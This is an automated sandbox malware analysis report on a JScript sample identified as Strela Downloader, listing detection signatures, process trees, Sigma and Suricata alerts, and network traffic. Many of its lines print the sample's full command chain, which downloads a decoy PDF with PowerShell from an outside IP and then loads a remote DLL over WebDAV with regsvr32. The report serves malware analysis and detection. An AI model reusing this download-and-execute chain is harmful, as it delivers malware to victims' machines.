Edit tour

Windows Analysis Report
137112093815427392.js

Overview

General Information

Sample name:	137112093815427392.js
Analysis ID:	1588226
MD5:	48fbba3a11d01f66bd02c2450923569b
SHA1:	47669c2efb5872dbed8d5b3a2063595762ca7a9b
SHA256:	315cc45572d16486eb1bfb629516144e6fe16668a500f1ff0e2bdb999a4a6529
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4148 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3356 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2000 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7192 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7436 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1528,i,15769957039004257077,3334261649853575998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7208 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7308 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7528 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4148	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2000, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2000, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ProcessId: 4148, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7308, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ProcessId: 3356, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ProcessId: 3356, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ProcessId: 3356, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ProcessId: 3356, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ProcessId: 3356, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ProcessId: 4148, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2000, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7208, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7308, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7528, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7208, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7308, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll, ProcessId: 3356, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:51:03.216817+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49714	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:51:00.931499+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49712	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 137112093815427392.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 137112093815427392.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49714 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49714

Source: global traffic

TCP traffic: 192.168.2.5:49714 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:62901 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49712 -> 193.143.1.205:80

